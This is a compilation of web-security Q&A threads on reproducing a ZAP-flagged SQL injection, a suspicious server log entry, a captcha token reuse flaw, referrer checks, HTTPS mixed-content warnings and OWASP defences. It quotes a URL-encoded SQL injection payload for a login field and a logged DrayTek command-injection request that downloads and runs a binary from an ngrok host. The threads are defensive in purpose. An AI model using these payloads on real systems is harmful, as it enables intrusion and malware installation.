I am performing a security scan using owasp, which detects a slq injection vulnerability.
When I run it from my Firefox browser monitored with owasp from the HUD and selecting the replay in Borwser option, it
redirects me to a page like this
https://myweb.app/login.php?zapHudReplaceReq=4eca1e78-2bcf-4621-a471
where I can see the session cookie.
The problem is that when I try to run in my browser without owasp's HUD to recreate the attack, the injection doesn't work, it doesn't show me any sql error or anything.
I hope someone can help me please.
The request method is POST through the parameter
pass = myvalidpassword% 27 + AND +% 271% 27% 3D% 271% 27 + - +
so i try to do sql injection but it doesn't work, and i don't know why. Does any boby have an idea?
somebody kwnos how works the zapHudReplaceReq
If you need more information coment in the post.
The ZAP HUD does all sorts of nasty things in order to implement its features I'm afraid :) The zapHudReplaceReq is an internal mechanism that relates to how ZAP works and is unrelated to either you application or the potential SQL injection vulnerability.
You are right to try to reproduce the vulnerability manually and without the HUD, but focus on the details that are in the alert rather than any interactions with the HUD. Make sure you read all of the information in the alert, it should explain why this specific attack appeared to cause problems.
Thanks for the answer.
I have already encountered the problem and it was that when I sent the "wicked request" to the server via the input box, the frontend was modifing the parameters.
So the problem was that special characters were removed from my request, I solved the problem by intersecting traffic and injecting the"evil request" from the raw request.
I also had to modify the request by encoding it with a url encoder that i found on this site
https://www.urlencoder.org/
So I got something like this
pass=mypass% 27 + Y +% 271% 27% 3D% 271% 27 + - +
And so I was able to reproduce the attack and do the injection.
Related
I've opened a web site which has only the purpose of sharing textual information. No database pugged on backend or no idea of authentication on it. However, when I looked at the log I had noticed this request:
POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://19ce033f.ngrok.io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a
It has occurred two time and my server respond both time a 404 response. But now I'm a little bit concerned about it. My website is running on a raspberry which is pugged to my ISP device. even if my server doesn't have any sudo rights I'm wondering if their is any risk?
Also, can someone explain me what this suspicious entries mean. What could be the risk? And finally, can you share me some tips / good behavior to have when setting up a pipe between any device (raspberry) and internet.
No need to be concerned. It is an attack, but not directed at your specific site, but rather scanning a large portion of the internet for a specific vulnerability.
The fact that your server responded with a 404 means it did not contain the vulnerable page.
This will happen on any site exposed to the public internet and is considered a part of the background noise.
I also noticed same request on my web-servers.
Here is more info about the attack:
https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-draytek-products-could-allow-for-arbitrary-code-execution_2020-043/
We've recently started using the user-friendly website captcha sweet-captcha on our websites. After a recent round of security audits we found a potential vulnerability.
This vulnerability allows an attacker to circumvent the captcha indefinitely after one successful solve.
I've tried contacting the captcha creators regarding this but have not had any response. I am posting here primarily in the hope that my implementation is incorrect and as such a more secure alternative is immediately available.
The captcha is included in our pages, as per the documentation:
<?php echo $sweetcaptcha->get_html() ?>
Most of our websites are DHTML to avoid reloading which is what made us aware of the security issue as follows:
Someone solves the captcha and submits an ajax request to our php web service which includes the necessary captcha keys.
The web service validates the captcha as per the documentation (see $sweetcaptcha->check below), performs some work and then returns its response to the front end.
As the front end is not refreshed, and thus the captcha remains solved, it has become apparent that the same captcha keys can be used again to make as many requests as desired following an initial successful solve.
To solve this security problem we believe the following step should be occurring:
Invalidate the captcha response in the php web service to prevent an individual using the same captcha tokens more than one, e.g. if a call too:
$sweetcaptcha->check(array('sckey' => $_POST['sckey'], 'scvalue' => $_POST['scvalue']))
returns true, it should return false on all subsequent evaluations using the same parameters. That is not happening. Even though we could implement our own backend solution to prevent duplicate validations this would be best solved in the captchas existing code if it should be the case.
If anyone could advise on the above issue that would be greatly appreciated.
I was looking for a way to protect a web service from "Synthetic queries". Read this security stack question for more details.
It seemed that I had little alternative, until I came across NSE India's website which implements a certain kind of measure against such synthetic queries.
I would like to know how could they have implemented a protection which works somewhat this way: You go to their website and search for a quote, lets say, RELIANCE, we get a page displaying the latest quote.
On analysis we find that the query being sent across is something like:
http://www.nseindia.com/marketinfo/equities/ajaxGetQuote.jsp?symbol=RELIANCE&series=EQ
But when we directly copy paste the query in the browser, it returns "referral denied".
I guess such a procedure may also help me. Any ideas how I may implement something similar?
It won't help you. Faking a referrer is trivial. The only protection against queries the attacker constructs is server side validation.
Referrers sometimes can be used to sometimes prevent hotlinking from other websites, but even that is rather hard to do since certain programs create fake referrers and you don't want to block those users.
The problems referrer validation could help against other websites trying to manipulate the users browser into accessing your site. Like some kinds of cross site request forgery. But it does never protect against malicious users. Against those the only thing that helps is server side validation. You can never trust the client if you don't trust the user of that client.
I am using Jboss application server.
I have implemented the whole website on ssl (https), the site is working fine on internet explorer browser but the site displays the below information on Mozilla/Konqueror browser but only on a particular page.
Security Warning :
Although this page is encrypted, the information you hav enetered is to be sent over an unencrypted connection and could easily be read by a third party.
Are you sure you want to continue ?
continue cancel
Is it a Jboss feature ?
If the whole site is running on https then why only n a particular page this information dislays ?
What should I do to get rid of this problem ?
Please do help me !!!!!!!!! My mailid is [redacted]
Thanks and regards,
AKhtar Bhat
Check for images or other resources that are being requested from non-SSL locations. This is usually the problem.
Posting your E-mail address here is probably not the best idea, it is likely to be harvested by spammers (although Gmail does have a fairly effective spam filter). It is also extremely unlikely anyone is going to answer you in E-mail since that would defeat the purpose of Stack Overflow, which is probably why your question was voted down.
To resolve your problem, you must find the page that is presenting the dialog or message you are seeing, then view the source of the webpage. Ensure the action attribute of any <form> tags are either relative to the current server (i.e. - action="/some/path/...") or are absolute but are directed to https (i.e. - action="https://some_server/some/path/...").
If you are using any AJAX calls, you must also ensure they are using https.
It seems unlikely the message is a result of resources being sent to you insecurely. It seems much more likely the message is a result of a <form> tag with an incorrect action attribute or an insecure AJAX call.
Check the FORM tag for ACTION property.
The action should be an HTTPS URL (which it should be if relative but may not be if absolute.)
I think you'll find some information on ths page that should help you
http://blog.httpwatch.com/2009/04/23/fixing-the-ie-8-warning-do-you-want-to-view-only-the-webpage-content-that-was-delivered-securely/
Watching SO come online has been quite an education for me. I'd like to make a checklist of various vunerabilities and exploits used against web sites, and what programming techniques can be used to defend against them.
What categories of vunerabilities?
crashing site
breaking into server
breaking into other people's logins
spam
sockpuppeting, meatpuppeting
etc...
What kind of defensive programming techniques?
etc...
From the Open Web Application Security Project:
The OWASP Top Ten vulnerabilities (pdf)
For a more painfully exhaustive list: Category:Vulnerability
The top ten are:
Cross-site scripting (XSS)
Injection flaws (SQL injection, script injection)
Malicious file execution
Insecure direct object reference
Cross-site request forgery (XSRF)
Information leakage and improper error handling
Broken authentication and session management
Insecure cryptographic storage
Insecure communications
Failure to restrict URL access
I second the OWASP info as being a valuable resource. The following may be of interest as well, notably the attack patterns:
CERT Top 10 Secure Coding Practices
Common Attack Pattern Enumeration and Classification
Attack Patterns
Secure Programming for Linux and Unix
A Taxonomy of Coding Errors that Affect Security
Secure Programming with Static Analysis Presentation
Obviously test every field for vulnerabilities:
SQL - escape strings (e.g. mysql_real_escape_string)
XSS
HTML being printed from input fields (a good sign of XSS usually)
Anything else thatis not the specific purpose that field was created for
Search for infinite loops (the only indirect thing (if a lot of people found it accidentally) that could kill a server really).
Some prevention techniques:
XSS
If you take any parameters/input from the user and ever plan on outputting it, whether in a log or a web page, sanitize it (strip/escape anything resembling HTML, quotes, javascript...) If you print the current URI of a page within itself, sanitize! Even printing PHP_SELF, for example, is unsafe. Sanitize! Reflective XSS comes mostly from unsanitized page parameters.
If you take any input from the user and save it or print it, warn them if anything dangerous/invalid is detected and have them re-input. an IDS is good for detection (such as PHPIDS.) Then sanitize before storage/printing. Then when you print something from storage/database, sanitize again!
Input -> IDS/sanitize -> store -> sanitize -> output
use a code scanner during development to help spot potentially vulnerable code.
XSRF
Never use GET request for
destructive functionality, i.e.
deleting a post. Instead, only
accept POST requests. GET makes it extra easy for hackery.
Checking the
referrer to make sure the request
came from your site does not
work. It's not hard to spoof the
referrer.
Use a random hash as a token that must be present and valid in every request, and that will expire after a while. Print the token in a hidden form field and check it on the server side when the form is posted. Bad guys would have to supply the correct token in order to forge a request, and if they managed to get the real token, it would need to be before it expired.
SQL injection
your ORM or db abstraction class should have sanitizing methods - use them, always. If you're not using an ORM or db abstraction class... you should be.
SQL injection
XSS (Cross Site Scripting) Attacks
Easy to oversee and easy to fix: the sanitizing of data received from the client side. Checking for things such as ';' can help in preventing malicious code being injected into your application.
G'day,
A good static analysis tool for security is FlawFinder written by David Wheeler. It does a good job looking for various security exploits,
However, it doesn't replace having a knowledgable someone read through your code. As David says on his web page, "A fool with a tool is still a fool!"
HTH.
cheers,
Rob
You can get good firefox addons to test multiple flaws and vulnerabilities like xss and sql injections from Security Compass. Too bad they doesn't work on firefox 3.0. I hope that those will be updated soon.